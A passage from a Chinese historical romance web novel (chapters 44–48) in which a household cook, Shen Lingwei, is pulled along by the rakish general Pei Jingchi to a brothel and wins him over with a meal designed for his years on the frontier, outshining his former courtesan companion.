可裴野已经跑远了,根本不听。
沈令薇顾不上许多,赶紧拉着安安和裴恪,带着裴朔一起追了上去。
……
与此同时,青云舍门口。
裴瑶正赖在裴惊驰身上,不肯下来。
“大哥,不要嘛,我不想上学,太无聊了,夫子讲课就跟和尚念经一样,我都能睡着。”
“我想跟您一样,学习练武,能打败很多很多坏人,我以后要做女将军。”
裴惊驰只觉太阳穴突突地跳,带兵打仗时面对北狄三万铁骑,他都没这么头疼过。
他单手拎着裴瑶的后颈,将这团麦芽糖一样的粘人精从身上拽下来。
“胡闹,你是女孩,该学的是琴棋书画,诗词歌赋,将来好歹要做个腹有诗书的气派嫡女。若是不通文墨,成天只知道舞刀弄剑,往后哪个门当户对的人家敢登门提亲?”
他自己叛逆归叛逆,可不希望妹妹走他的老路,当什
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么女将军。
他裴惊驰的妹妹,就该像那娇花一样,细细地养着,宠着。
裴瑶听了这话,瞬间炸毛。
“哼!若是读那些无聊透顶的书,绣那些扎手的花就是为了嫁到别人家去受气,那我宁愿一辈子不嫁人!我要一辈子守着父亲母亲,我就要练武,我要像大哥一样,一人一马杀得坏人片甲不留!”
裴惊驰被气笑,这小丫头片子。
他就不信还拿捏不了了?
裴惊驰把脸一沉,严肃道:“再胡说八道,信不信我今日就把你的红珊瑚球收走?还有你的小木剑也一并劈了当柴烧?”
他本意是想让眼前的小女孩安静下来。
可没想到,此话一出,裴瑶直接破防了,小脸一垮,眼泪瞬间就大颗大颗地砸了下来。
裴瑶猛地甩开他的袖子,声音既委屈又绝望:“大哥,我没想到,你竟然跟母亲一样,拿那些规矩来套我!你……”
“母亲天天逼我,父亲也不理解我,我好不容易把你盼回来,我以为……我以为你会懂我的。”
“您当年不也没听母亲的话,偷偷跑去打仗呜呜……”
裴惊驰怔住,喉咙像是被什么东西给堵住。
他想起年少的自己。
当时,他也希望有人能理解自己。
可现在,面对同样的情景,他却在说着和母亲一样的话。
裴瑶见他半天不说话,狠狠抹了把眼泪,跳下马车,扭头就跑。
“哼!你们都一样,我再也不理你了!”
友谊的小船说翻就翻。
裴惊驰头秃。
就在此时,裴野正好气喘吁吁地跑了过来,见到裴瑶在哭,立马脚步一顿。
“瑶姐姐?你咋了?”
他目光落到裴惊驰身上,像突然想到了什么,小嘴张大。
“是、大堂哥欺负你啦?”
裴瑶把脸一扭:“他才不是我哥。”
裴野还想说什么,余光看到自家大哥,二哥,还有沈令薇也快步追了过来,当即脑袋一缩。
“瑶姐姐,我、我先进去了,一会儿我大哥来了,你记得说没见过我。一定记得啊!”
裴野边跑边说,眨眼就跳进了书院门后。
这头,沈令薇原本急匆匆地追着裴野。
可就在距离不远的时候,余光瞥见门口那道熟悉的身影,她猛地刹住了脚!
第44章 这么说,还怪我咯?
“怎么了娘亲?”安安和裴恪也同时住脚,不解的看着她。
沈令薇在裴惊驰看过来的时候,连忙别过脸,背对着门口的方向,紧张的手都在颤抖。
“那什么……”
“二少爷,安安,反正也没几步路,我就不送你们了,你们先进去吧,快去……”
安安虽然有些疑惑,但还是点了点头,转而牵起裴恪,继续朝前走去。
裴朔也追了上来,见状还狐疑地看了她一眼,点点头从沈令薇身旁错过。
门口,裴惊驰正想方设法地哄着裴瑶,余光也看到了裴朔和裴恪走来,裴恪的身边还跟了个粉雕玉琢的小女娃。
他桃花眼微微眯起,朝裴朔问道:“这位是……?”
裴朔朝他见礼,答道:“是二弟院子里厨娘的女儿,祖母恩典,允她作为二弟的伴读,一同入学旁听。”
“厨娘?”裴惊驰很快抓住了关键字眼。
裴朔点点头,又道;“二弟之前生了一场大病,水米不进,大夫都没有办法,后来是沈厨娘用了家乡的法子,救了二弟。”
裴朔虽是短短数句,但裴惊驰能想象到当时是何等紧张的场面。
他眯着眼,看着远处那道略显慌乱的身影。眼底浮现些许疑惑。
看着背影,好像不太像。
可刚才那匆匆一瞥,难道是自己眼花了?
裴惊驰正欲亲自上前确认,这时,书院的门从里面打开,一位胡子花白的老夫子怒气冲冲地走了出来。
“裴将军!老夫倒要请教,这书院是讲经诵史之所,还是您演武练兵的校场?!”
裴惊驰痞笑了声,漫不经心地道:“夫子,这一大早的,是谁惹您动这么大的肝火?”
裴惊驰以前就是书院里的混世魔王,夫子眼里的刺头,最难啃的骨头。
如今,这根大骨头回来了,还带歪了裴野这根小骨头。
夫子气的嘴巴差点都要歪了。
夫子冷哼一声,痛心疾首地道:
“裴野公然带着兵器上学,还口口声声说,是您这位凯旋的大将军授意的,老夫倒想问问了,裴将军,您这是要教他读书,还是教他杀人?!”
裴惊驰:“……”
好大的一口锅!
裴野!老子记住你了。
面上却笑得灿烂,拱手道:“夫子息怒,是本将军思虑不周。您放心,我这就将他的匕首没收,今后绝不会再带来学堂。”
夫子这才脸色稍霁,重重“哼”了一声,甩袖进了书院。
……
等处理完裴野的事,时间已经过去了一刻钟。
这头,沈令薇从书院离开后,逃似地穿过几条巷子,一头扎进西市最热闹的人群中。
边走还不断地回头看,确认身后无人跟踪,这才拍着胸口长舒了一口气。
太险了。
竟然在书院门口又碰到大房公子,而且看样子应该是送裴瑶小姐来上学的。
虽说两房隔得不远,但本着多一事不如少一事的原则,沈令薇下意识想避开他。
紧接着,她熟门熟路地开始采购各种食材,什么鲜虾,排骨,藕粉,新鲜的蔬菜之类的。
自从裴野吃上了她做的雪棉豆沙,还有奶香紫薯酥之后,这小子的生意头脑便迅速觉醒。
他让小厮每天雷打不动地到厨房‘预定’,将点心带进学堂里,一开始只是纯显摆,分发。
后来,就成了‘代购’,从中赚取中间差价。
沈令薇用的是现代改良版做法,那些高门大户的少爷小姐压根没吃过,花钱排队求购。
如今这需求量日益增长,她的小厨房也成了青云舍的“后勤供应商”。
沈令薇采买完物资,回府的路上,不知为何,总觉得有双眼睛在身后盯着自己。
可每当她转过身去查看时,却又什么都没有。
带着这种如芒在背的情绪,她尽可能挑大路走,不敢再往巷子里钻。
可即使她都这么小心了,还是在即将抵达侯府时,突然被一股大力扯上了一辆马车。
“唔……唔唔……”
来人一只大手捂住她的嘴,她整个人跌入一个温热的怀抱。
沈令薇一颗心都要跳到嗓子眼。
第一反应就是又遇上劫匪了?
为什么倒霉的总是自己?
她不断挣扎,身后贴上一具男性胸膛,隔着衣料传来滚烫的温度,还有一股似曾相识的气息。
这个味道是……?
沈令薇浑身一僵。
“嘘!”
低沉的嗓音在耳朵边响起,带着几分玩味。
“这儿离侯府不过百步,你若引来了侯府的家丁,瞧见你我二人在这马车里‘耳鬓厮磨’,你说……你这厨娘的差事还能保得住吗?”
听见这熟悉的声音,沈令薇突然停止了挣扎,手一点点垂了下来。
是他!
大房公子,裴惊驰!
他果然来找自己算账了。
裴惊驰放开手,姿态慵懒地往后一靠,长腿交叠,占据了马车的大半空间。
沈令薇趁机忙缩
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到对面的角落里,双手挡在身前。
“你想干什么?”她咬牙道。
裴惊驰挑眉,目光在她平直且稍显臃肿的身上停留了一瞬。
“啧,裹这么紧,不难受?”
沈令薇脸一热,往后缩得更紧:“这貌似不是将军该关心的事。”
裴惊驰挑眉,“你这反应,本将军很受伤啊,好歹也是旧相识,至于这么见外?”
沈令薇呼吸一滞,拳头在袖子里紧紧攥起。
他们之间,算什么旧相识?
分明是他追捕细作,她倒霉被卷了进去,仅此而已。
“将军莫要打趣奴婢了,奴婢只是个不起眼的下人而已。”
裴惊驰见她这副如临大敌的模样,想到昨晚被她戏弄,嘴角勾起一抹邪笑来。
“你别这么紧张。”
他懒洋洋地换了个姿势,一只手搭在屈起的膝盖上。
“本将军要是想对你做什么,昨天就做了,还用等到现在?”
沈令薇更加警惕,“你……到底想做什么?”
“我都说了,我真不认识昨天那人,是被她掳走的……”
“我昨晚走之前,说什么来着?”裴惊驰忽然开口,听上去颇有几分秋后算账的意味。
沈令薇怔住。
他昨天说什么来着?
对了,他让她做好席面,等着他。
可她却装病,没去筵席伺候。
沈令薇吞了吞嗓子,努力维持镇定:“……奴婢昨日受了惊吓,回府后就起了高热,实在没力气下厨,这才向管事的告了假。”
“哦?病了?”
裴惊驰挑眉,伸手就要朝她探来,“那让我看看?”
“不、不用了!已经好了!”沈令薇吓得往后一缩,连忙护住自己。
见裴惊驰脸上那抹得逞的笑,沈令薇才猛然惊觉,自己竟被他诈了!
她不禁有些泄气,“昨日在南风馆,您不也没说自己是侯府的人,我要早知道您是大房的公子,就算是病了,也得爬起来给您备好席面的。”
裴惊驰笑得更加灿烂:“这么说,还怪我咯?”
沈令薇低头:“奴婢不敢。”
她自称奴婢,是不打算再绕弯子了。
裴惊驰重新靠回软垫上,目光灼灼地盯着她:“既然病好了,昨晚欠的那顿,今日便给爷补上。”
沈令薇没反应过来:“啊?”
就在此时,马车外传来下人打招呼的声音:“侯爷。”
沈令薇脑袋‘嗡’的一声,整个人像是被雷给劈中!
第45章 美食,得配上美酒,还有美人才对
侯爷?
他怎会突然回来?
沈令薇来不及多想,眼神到处乱瞟,看哪里能藏身。
可马车厢拢共就这么大,她一个大活人,能藏哪儿?
这时,车外已经响起裴谨之的声音:“惊驰?怎么停在这儿?”
沈令薇心跳都要停了,情急之下,她瞥见裴惊驰屈起的那条长腿,他今日袍子穿得宽大,腿下刚好有一小块阴影。
沈令薇来不及回应裴惊驰,一头扎了进去。
蜷缩,抱膝,屏住呼吸。
动作一气呵成。
甚至还扯过裴惊驰搭在一旁的外袍,兜头盖在自己身上。
裴惊驰猛地僵住,整个人成了一座石雕。
这个姿势,沈令薇几乎半个身子都挤到了他双腿之间。他甚至能感受到,女人那紧张又滚烫的呼吸,隔着一层薄薄的布料,悉数喷洒在他大腿内侧。
这头,裴谨之没得到回应,已经伸出一只手掀开了车帘。
然,还没来得及看清车厢里的情景,裴惊驰那张痞里痞气的俊脸就突然在眼前放大。
“小叔?这么巧,你也刚从外面回来?”
裴惊驰突然探出半个身子,单手撑在车辕上,姿态慵懒,刚好把缝隙挡了个严实。
“嗯,”裴谨之淡淡的点了点头,目光越过裴惊驰,往车厢里扫了一眼。
不知是不是错觉,方才竟好像看到一截丁香色布料。
他转而说起了正事:“北狄那边派了人来议和,听闻这次派出的是北狄王室的小王子,还带了一名高手随行,你得注意。”
裴惊驰眯起眼睛:“高手?”
裴谨之点头,又道:“此人外号‘草原之孤’,据闻天生蛮力,还习得一身武艺。圣上有意让你在春日围猎场上参与协防。”
“小王子……”裴惊驰眯了眯眼睛,眼底掠过一丝战意。
“是,侄儿晓得了,多谢小叔告知。”
裴谨之收回目光,又点点头,转身走了两步顿住,又道:“你既已回京受封,这京中百官的眼睛便都盯着你。以往那些走马章台、纵酒寻欢的旧习,该收一收了。”
裴惊驰无所谓地笑了笑,“小叔教训的是,侄儿会好好收心的。”
裴谨之没说话,转头进了侯府大门。
这头,沈令薇身体躬成了一只大虾,一动也不敢动。
直到裴谨之的背影消失,裴惊驰这才收回目光,放下车帘,咬着牙道:
“本公子的腿,好躲吗?”
沈令薇整个人正缩在他云纹缎面的袍子底下,周围全是他身上那股陌生且浑厚的男性气息。
她还没从裴谨之突然出现的恐惧中回过神来,听见声音,下意识地抬头。
这一抬头,时间,空间,仿佛都彻底凝固住。
无它,只因她发现自己的鼻尖距离裴惊驰的那处,不过寸许距离。他身上的玄色长裤,由于坐姿正绷得极紧。
布料之下的肌肉线条,充满了爆发力和灼热感。
轰!
意识到所处的位置,沈令薇只觉得脑袋里有什么东西瞬间炸开,浑身血液在这一秒疯狂涌向天灵盖。脊椎像是有成千上万只蚂蚁在爬一样。
“奴、奴婢……”
她大脑瞬间宕机,脸正以肉眼可见的速度,从耳根红到了脖子根。
她赶紧闭上眼,恨不得挖个坑把自己给埋了。
她语无伦次,只能小心翼翼地撑着手掌,慢慢往后缩,像生怕惊动到男人一样。
可手臂却不小心蹭到裴惊驰的大腿,内侧。
裴惊驰倒吸了一口冷气,身子猛地一震,邪气肆意的俊脸瞬间精彩纷呈。
他一把掀开下摆袍子,铁钳一样的手扣住沈令薇的后衣领,像拎小猫一样将她从胯下给拔了出来。
“见到
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我小叔,就怕成这样?”
“怎么?心虚?”
沈令薇一张脸红得能滴出血来,“大公子明鉴……奴婢,方才是情急之下,绝无冒犯之意。”
她拼命往角落里缩,避如蛇蝎的样子,让满心燥火的裴惊驰又气又好笑。
他俯下身,黑影再次将沈令薇整个人笼罩。
“现在小叔也走了,这马车里就你我二人。你说是咱们先算算方才这‘冒犯’的账,还是昨天的账?”
沈令薇张了张嘴,竟有些无言以对。
半晌,她破罐子破摔道:“大公子想怎么罚,奴婢都无话可说。”
裴惊驰摸着下巴,开始认真思考起来。
过了一会儿,他道;“爷在边关啃了七年的风沙干粮,这嘴里早就被磨得没了知觉,你既懂厨艺,今日便给你一个机会露一手,若这顿饭能让爷吃得满意,便不计较你今日的冒犯,如何?”
沈令薇一愣,有些不确定地道:“当真?”
“那大公子可有什么忌口的?或者平日里喜好吃什么?喜辣?还是喜甜?”
裴惊驰挑眉,似笑非笑地看着她。
“既是考验,你自由发挥便是。”
沈令薇在心里叫苦,这种自由发挥,才是最难的。
“那行,奴婢这就回府采买……”
“不必,回府多没劲。”裴惊驰打断她,又道:“既是美食,当然得配上美酒,还有美人才对。”
说罢,他眼中笑意加深,朝车夫说了个地址。
“去寻芳阁。”
沈令薇猛地抬头,杏眼里满是不可置信:“大公子,奴婢怎能去那种地方?”
寻芳阁,是京城有名的销金窟,也是一座青楼。
里头不仅美人多,菜色酒水据说也是一绝。
裴惊驰凑近她,呼吸喷洒在她耳廓。
“现在,由不得你……”
……
第46章 溺死在这红粉堆里
半个时辰后,马车稳稳地停在了寻芳阁门前。
足足五层楼,虽然是后门,却也雕梁画栋,空气中浮动着一股甜腻的脂粉香味。
裴惊驰走在前面,沈令薇也只好硬着头皮跟在他身后。
此时是上午,青楼没什么客人,门口有两个龟奴正拉聋着脑袋。
倒是屋里的老鸨原本正打着哈欠,余光忽然瞥见门口那辆豪华的马车时,顿时睡意全无,满脸堆笑地迎上前来。
“哎哟喂,这不裴公子吗?”
“哎哟!七年了,老身还以为您把寻芳阁给忘了呢!”
打扮妖艳的老鸨笑得合不拢嘴,立刻摇着扇子贴了过来。
“姑娘们,快出来迎客啦!裴公子来啦!”
紧接着,楼上,大厅,响起成片的脚步声,惊叹声,香风阵阵,数十位风格各异的年轻女子争相走了出来,一时间将裴惊驰围在中间。
裴惊驰游刃有余地和众美周旋,那张本就招摇的桃花脸,在众美的娇嗔环绕下,更显出一股浑然天成的浪荡与矜贵。
他单手搭在花魁的肩头,半真半假地调笑着:“七年不见,妈妈这儿的姑娘倒是一个赛一个的勾人,看来是诚心想让爷溺死在这红粉堆里。”
一群莺莺燕燕瞬间笑作一团,打情骂俏。
裴惊驰虽在笑,可那双眸子始终没离开过沈令薇。
他看见沈令薇被众人挤到了一处角落里,但却没恼,只安安静静地站着,手里还挎着个篮子,像是一株误入繁花锦簇之地的苦丁茶,清冷得很。
这女人的反应,为何跟他预想的不太一样?
正常情况下,女人到了这种场合,不应该感到羞愤,难堪,或者被他的魅力所折服吗?
可他在这里表演了半天,这女人全程表情寡淡,就像是在看一场戏。
裴惊驰一时间兴致全无。
他用扇子拨开身前的两名女子,顺手将一张银票塞给老鸨。
“行了,改日再叙话,爷今日不点红牌,只借用你这灶房一用。”
老鸨顿住,满脸疑惑。
裴惊驰手一抬,指着沈令薇,“爷今天的吃食,她全包了,把你们这儿最新鲜的食材都备上。”
老鸨到底是风月场里的老狐狸,目光在沈令薇身上转了一圈,瞬间切换表情,笑得跟朵花似的。
“哎哟,公子您早说呀!灶房在后头,柴米油盐酱醋茶,鸡鸭鱼肉菜,要什么有什么!这位娘子想怎么用就怎么用!”
她朝那群姑娘们挥了挥帕子:“行了行了,都散了吧!”
待姑娘们远去,老鸨又凑近道;“裴公子这一走就是七载,可苦了我们思思。您是知道的,她一颗心全在你身上,七年都没接过别的客人。”
“正好您今儿来,要不我安排思思过来给你瞧瞧?”
裴惊驰脑海里映出一张芙蓉面来。当年她抱着个琵琶,不争不抢的,像一朵安静的雏菊。
他沉默一瞬,点点头,“成,爷正好也听听,她那首琵琶曲子,是不是还跟当年一样挠人。”
紧接着,裴惊驰被请上了三楼雅间。
沈令薇则被一个小丫鬟领去了厨房。准备裴惊驰要的席面。
寻芳阁的后厨很大,灶台就有七八个,十几个厨子正忙得火热朝天。切菜的切菜,打水的打水。
沈令薇刚一进门,十几道目光就齐刷刷地扫了过来,将她从头打量到脚。
“就是这儿了,娘子你请自便,有事随时唤人。”
领路的小丫鬟说着就要走。
“等一下!”沈令薇唤住她,悄悄塞给她一些碎银。
“劳烦你帮我打听一件事。”
小丫鬟欢喜地接过银子,笑容更深了几分;“娘子想打听什么?”
……
十分钟后,小丫鬟返回来,将沈令薇拉到一无人处,压低了声音:“娘子,我打听到了,有个姓周的师傅,在楼里干了十年了,不过现在被发配到了后院劈柴。”
沈令薇点头:“多谢,劳烦带路,我想去见见这位周师傅。”
很快,小丫鬟领着她来到后院柴房,找到一个头发和胡子都花白的老头。
那老头看着瘦巴巴的,手里正拿着一把斧头,正一下一下地劈柴。
劈得很慢,每劈一下,都像是用尽了全身的力气。
“周师傅?”
老人抬起头,露出一张满是风霜的脸来:“你是……”
小丫鬟上前几步,朝他说了几句什么。
周师傅听闻,声音沙哑地摇头;“找错人了,我早就不做菜了。”
沈令薇上前,从荷包里拿出二两银子,放在他面前的柴堆上。
“老人家,我来,不是找您做菜,是想向您打听几件事。”
那老者闻言,浑浊的眼珠子动了动:“……我一个劈柴的老废物,能知道什么事?”
沈令薇平静地
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开口:“您以前是这儿的大厨,想必应该记得定远侯府的裴公子,他以前常来。”
老者顿了顿,眼底闪过回忆。
他扶着柴垛慢慢坐下来,眼里像有某种沉寂已久的东西在搅动。
“你是说裴大公子啊……呵呵,七年前,还没去边境杀敌,鲜衣怒马,肆意张扬,是这楼里出了名的嘴刁。可老朽知道,他最爱吃的一道菜……”
……
一个时辰后,寻芳阁三楼雅间。
一阵悠扬的琵琶声从门缝里飘出来。
“铮——”
随着最后一声余韵落下,缠绵悱恻的琵琶声戛然而止。
柳思思放下琵琶,半垂着羽睫,一张明若芙蕖的面容,在昏暗的灯影下,透出几分易碎的柔光。
她起身莲步轻移到裴惊驰面前,端起酒杯,盈盈地跪坐下来。
“塞外风沙紧,思思人微言轻,不敢给公子递信添乱,只求这风能吹得慢些,让公子的铠甲别被雪冻透了。
今日得见公子凯旋,思思这颗心,才算真的落了地。这杯酒,思思祝公子万岁平安,往后……再不必受那颠沛之苦。”
她语调轻柔得像三月的春风,又带着沉甸甸的情意。
一双含水秋眸里,满是隐忍。
裴惊驰接过酒杯,目光掠过柳思思那张溢满柔情的脸。
“七年不见,你这曲子怎的比七年前更沉了。”他意有所指。
“爷当年离京时,明明给你留了赎身的银子。”
柳思思睫毛轻颤,苦笑一声:“公子耳力还是这般好。”
“可思思不愿离开,思思愿意一辈子守着公子。”
她眼眶微红,像是陷入回忆;“当年,若不是公子打走那些无赖,将思思从泥潭里拽了出来,思思恐怕早已香消玉殒。”
“从那天起,思思便发誓,愿意一辈子当牛做马,以报答公子的恩情……”
她说的情真意切,眼里流露出爱而不得的悲伤,缓缓将身子贴在裴惊驰的胸口。
“公子,思思知道自己身份卑微,不配求什么,可思思这七年,日盼夜盼,只盼着公子能回来,思思可以不要名分,不要地位,只求能跟在公子身边,端茶倒水,铺床叠被都愿意……”
她伏下身,气息喷洒在裴惊驰耳廓:“求公子……收了思思吧。”
“吱呀!”
沈令薇端着托盘进门,看到的就是这香艳的一幕。
第47章 这个女人,当真只是个厨娘吗?
宽敞奢靡的包间内,暗香浮动。
宽大的软榻上,裴惊驰半靠在椅背,怀里伏着一个红衣女子。
如瀑的长发垂落,遮住了两人的半张脸。红黑两色衣料纠缠在一起,铺落了一地。
从沈令薇的角度看过去,就像是一对交颈鸳鸯,正在缠绵热吻。
察觉到有人进门,空气似乎安静了一瞬。
下一秒,裴惊驰猛地将那女子推开。
动作之快,像是被什么烫到。
“啊!”
柳思思猝不及防,被推倒在地上,手掌撑在地上,立马传来钻心的疼。
“公子!”她仰起秋水般的眼眸,有些幽怨地朝着裴惊驰看过来。
换做旁的男子,怕是一眼就能溺毙。
可裴惊驰像是做坏事被抓包一样,弹似的从椅子上起身,虚张声势地抬手扯了扯衣襟。
可刚一动作,他又僵住了。
不对!
他为什么要慌?
他又没做什么见不得人的事。
裴惊驰眉头微皱,抬眼看过去。
却见沈令薇面色如常,连眉头都没皱一下。上前将那几道精心烹制的菜肴摆在桌上。
“大公子,菜好了。”
桌子上是四菜一汤,摆得整整齐齐。
裴惊驰心里没由来地涌起一股烦躁。
柳思思见他没有来扶,脸上的红晕未褪,眼中带着几分被打断的不甘。却很快被隐藏。
她自顾起身,像什么事都没发生过一样,径直上前拿起筷子,递给裴惊驰。
“公子,让思思伺候你用膳吧。”
裴惊驰本想说不用,让她出去。
可抬头看到沈令薇那副云淡风轻的表情,到嘴边的话又咽了回去。点点头。
饭桌上,裴惊驰坐下,目光扫过那四菜一汤。
一盘果木香熏手撕牛肉,色泽如琥珀般明亮剔透。
还有泛着诱人金光的金汤煨羊蝎子,并一碟子拔丝奶皮子配焦脆肉饼,另外还有一碟冰肌玉骨拌嫩芽,和一碗雪菜鲜笋澄清汤。
裴惊驰眉头微皱:“这就是你花了两个时辰做出来的?”
沈令薇淡淡一笑,做出个‘请’的手势:“是,大公子不如先试试?”
裴惊驰正要开口,身边却突然响起一道娇柔的轻笑声。
“这位娘子,”她语气温柔得像三月的风,“怕是不太了解公子的喜好呢。”
“公子以前来,从不吃这种冷盘的。他喜欢热菜,尤其是刚出锅的,热气腾腾的,吃着才踏实。”
“这道羊蝎子,”她指着那碗金汤煨羊蝎子,笑容愈发温柔。“公子以前爱吃的是酱烧的,要红亮亮的酱色,要够咸够味。”
“还有这个,公子从不吃甜食,你竟不知?”
柳思思自以为了解裴惊驰的所有喜好,并笃定他根本看不上这些粗鄙的食物。
说完还叹了一声,语气带着悲悯:“到底只是新人,做事规矩,却少了几分灵动。”
句句不提旧情,却又句句在彰显她和裴惊驰的‘旧情’。
面对柳思思的言语机锋,沈令薇并未与她辩解,注意力只在裴惊驰身上。
“大公子不如先尝尝?”
柳思思像碰了颗软钉子,脸上的笑意就要维持不住。
“这几道粗鄙之食,怕是根本入不了公子的眼,不如思思让人撤了去,换上几道先前……”
柳思思话没说完。
裴惊驰的筷子已经伸了出去。夹起一片手撕牛肉。
那牛肉切得薄厚均匀,表面泛着淡淡的果木熏色,边缘微微焦黄,肉质纹理清晰可见。
他送进嘴里,细细嚼着,一下,两下,三下……
渐渐地,裴惊驰咀嚼的动作缓慢下来,筷子也停在了半空中。
柳思思心里顿时松了口气,刚准备喊人进来撤走。却又见裴惊驰又夹起了一片,放进嘴里。
这一次,像是更用心地在品尝,眼里还闪现出某种动容和回忆。
柳思思的笑容彻底僵住。
她了解裴惊驰,吃东西从不掩饰。喜欢就多吃,不喜欢就放下,从不给人面子。
可现在……
在柳思思的震惊中,很快,又见裴惊驰把筷子移向那盘羊蝎子。
金汤还在微微冒着热气,羊蝎子炖得酥烂,浸在金黄的汤汁里,看着就软糯。
一口咬下去,像有一股暖流直冲丹田。
裴惊驰不禁想起在战场上的时候,有一次中了敌人的埋伏被困在战壕里三天三夜。
彼时他就在想,若是能喝上一口这热腾腾的羊汤,就算是死了也值得。
如今,这道羊汤里,竟勾起了他对往昔战场上的回忆。整个身体都像是被温暖的手给轻轻捂住,妥妥帖帖。
最后轮到那道拔丝奶皮子。
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金黄的奶皮子裹着透明的糖丝,外脆内软,旁边配着两个焦脆的肉饼。
他夹起一块奶皮子。
咬下去。
脆的,甜的,然后是一股浓郁的奶香在嘴里炸开。不是那种让人发腻的甜。
而是一种克制的、恰到好处的甜,刚好能勾起人的食欲,又不至于压住奶香。
裴惊驰嚼着嚼着,忽然想起一个画面。
七年前,在北狄边境的一个小村子里,一个老牧民给他吃过一块奶食。那老牧民说,这是他们那儿最稀罕的东西,冬天吃一块,能顶半天的寒气。
那时候他觉得难吃,又硬又膻。
可此刻嘴里的味道,却让他想起了那个救过他的老牧民。
直到四菜一汤全都尝过一遍,裴惊驰这才恍然惊觉。这顿饭,像是把他七年的记忆,一点点梳理了一遍。
那些永远留在战场上的忠骨,那些破碎的城池,那些数不清的伤痛记忆。
就像是用这一顿饭,揭开了他内心最脆弱,最隐秘的伤疤。
世人都道他叛逆,风流。可他们不知,这是他故意展露出来的面具。
只有戴上这层面具,才能躲过那些明枪暗箭,阴谋算计。
裴惊驰抬头,用一种复杂的眼神看着沈令薇。
这个女人,当真只是个厨娘吗?
他忽然有些明白,为何他那二堂弟只愿靠近她,只肯吃她做的菜。
他忽然有些羡慕裴恪。
柳思思见裴惊驰的状态,脸有些发白。
她不死心,拿起一旁的筷子,也夹了一块牛肉放进嘴里,细细咀嚼。
味道确实还不错,果木的香气,清爽的酸味,牛肉的扎实口感。
但要说有多惊艳,多好吃?
柳思思却不这么认为。
她是楼里的头牌,平日里的伙食也是极好的。
像这样的食物,顶多也只能算作味道尚可,按理说应当算不得惊艳。
只有,她又先后品尝了另外几道菜。无一例外,味道都十分不错。
但要和那些真正的御厨,大厨比起来,还是欠缺了一些火候的。
柳思思放下筷子,沉默片刻后,斟酌着用词。
“公子,这几道菜,思思觉得不过尔尔……”
“那是因为思思姑娘久居京城,并不了解久居边疆的身体,需要什么!”这次轮到沈令薇来打断柳思思。
第48章 他根本压不住胸腔的震动
裴惊驰挑眉,像是终于从回忆中抽离,嘴角勾起邪肆的笑容,身体往后慵懒地一靠。
“哦?且说来听听?”
沈令薇点头,伸手指着那道手撕牛肉,不急不缓地道:“北方风沙大,气候干燥,人在那种地方待久了,身体会习惯性地渴望两种东西:扎实的肉食,和能冲淡燥气的清爽。”
“这牛肉,用果木熏,保留肉的扎实感,让大公子的身体觉得熟悉。配上柠檬汁,清爽解腻,让刚从北方回来的肠胃,知道现在已经不在风沙里了。”
裴惊驰眸光微动。
沈令薇又指向那道金汤羊蝎子。
“边关的寒是入骨的,红油只能暖皮,唯有温补的金汤能化开脏腑里的冰碴。”
“至于这道奶皮子,”沈令薇笑了笑,“大公子在北边七年,身体早就习惯了那里的粗犷饮食。现在突然回京,若一上来就吃精细的,胃受不了。可若吃原来的粗犷,身体又适应不了京城的水土。”
“所以这道菜,是给身体的一个‘缓冲’。”
沈令薇说完,目光转向柳思思,说出了让裴惊驰一辈子都难以忘记的话。
“所以,思思姑娘记住的是大公子的过去,而奴婢是个厨娘,只会照顾他现在的身体。”
轰!
随着沈令薇的话落,一时间,雅间里竟陷入一种诡异的安静。
就连蜡烛燃烧的噼啪声仿佛都被按下了暂停键。
咚!
咚!咚!
裴惊驰清晰地听见自己的心跳,正在急剧加速,像有什么东西在胸口横冲直撞。
他下意识按住胸口,却发现根本按不住那股震动。
他目光灼灼地盯着沈令薇,平日里满是戏谑和邪气的桃花眼里,像是燃起了两簇浓烈的火。
……
最后,裴惊驰终究还是没吃完,但他选择了打包。
柳思思至今不会忘记,吴七进来打包的时候,那一脸的震惊和诧异。
从来都是一掷千金的裴大公子,竟然吩咐他把那些剩菜底子,连同汤汁,都一滴不剩地打包回了府里。说要留着慢慢吃。
走的时候,真的是一滴汤水都没留下,盘子干净得跟舔过的一样。
马车上,裴惊驰整个人都还有些飘飘然,嘴角的弧度怎么压都压不住。
沈令薇观察了一会儿,找机会试探道:“大公子,这饭也吃过了,按照先前说好的,之前冒犯您的事,还有昨天那北狄细作的事……”
裴惊驰刚被投喂,心情正好,闻言想也不想地点头。
“本公子也并非那等小气之人,之前的事,可以既往不咎,不过……”
他语气一转,朝着沈令薇凑近了几分:“不如你来阑园当值怎么样,我给你双倍月银。”
阑园,是裴惊驰的院落。
沈令薇眼皮一跳,微微摇头:“大公子的美意,奴婢心领了。只是……若真为了那双倍月银去了阑园,奴婢怕是连觉都睡不安稳了。”
裴惊驰不满:“怎么?嫌少?”
“大公子抬爱,奴婢感激不尽,只是二少爷身体刚有起色,正是需要精心调理的时候,奴婢若为了高薪转投于您,岂不是陷大公子您不义?”
裴惊驰其实猜到她不会答应,不过是借此试探一番。
“你倒是生了一张巧嘴,横竖都是你有理。”
“不过你不来阑园,那本公子去静和苑总行吧?”
沈令薇愣住:“啊?”
“恪儿是你的主子,本公子就不是你的主子了?都是侯府的主子,凭什么他能吃,本公子不能吃?”
沈令薇嘴角狂抽。
这人真的是在战场上杀人如麻的少将军?
裴惊驰往车壁上一靠,翘起二郎腿:“就这么定了。往后本公子去静和苑蹭饭,你不许拒绝。”
沈令薇:“……”
行吧,你是主子你有理。
反正她想好了,要吃她做的饭,行,但不能白吃。
-
快到侯府时,马车在一条巷子口缓缓停下。
裴惊驰不满的皱眉:“当真不要送你到后门口?”
沈令薇摇头,语气坚定;“奴婢是下人,若被人发现和大公子同乘一辆马车,会被非议,奴婢自个倒没什么,但万不能影响了大公子您的声誉,所以,大公子还是先走吧。”
她说完,朝着裴惊驰点点头,很快挎起篮子,消失
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在人流中。
裴惊驰瞥嘴,道了一句‘麻烦’,随后吩咐下人将马车赶回府里。
这头,沈令薇又采买了一些吃食,绕道去了趟干娘家,给干娘送了些吃食和针线。
干娘热情,非要拉着她闲话家常,又喝了半盏茶,直到天色擦黑,才从角门溜回静安苑。
此时已是傍晚,廊下的灯笼刚刚点上。
沈令薇刚推开门,忽然看到门口立着一道人影。
玄色长袍,身姿如松。
像是已经站了许久。
“见过侯爷。”
沈令薇踩着极轻的步伐上前,朝那人行礼。
裴谨之缓缓转身,黑沉沉的目光落在她身上。在看到她身上的丁香色裙子时,黑眸似深了几分。
沈令薇察觉到一截黑色的影子笼罩在头顶上方,紧接着,眼前出现一双黑色的皂靴,和一截绣着云纹的衣摆。
“去哪儿了?”
男人声音发沉,有些紧,像是许久没开口后,骤然开口一样,声线紧绷。
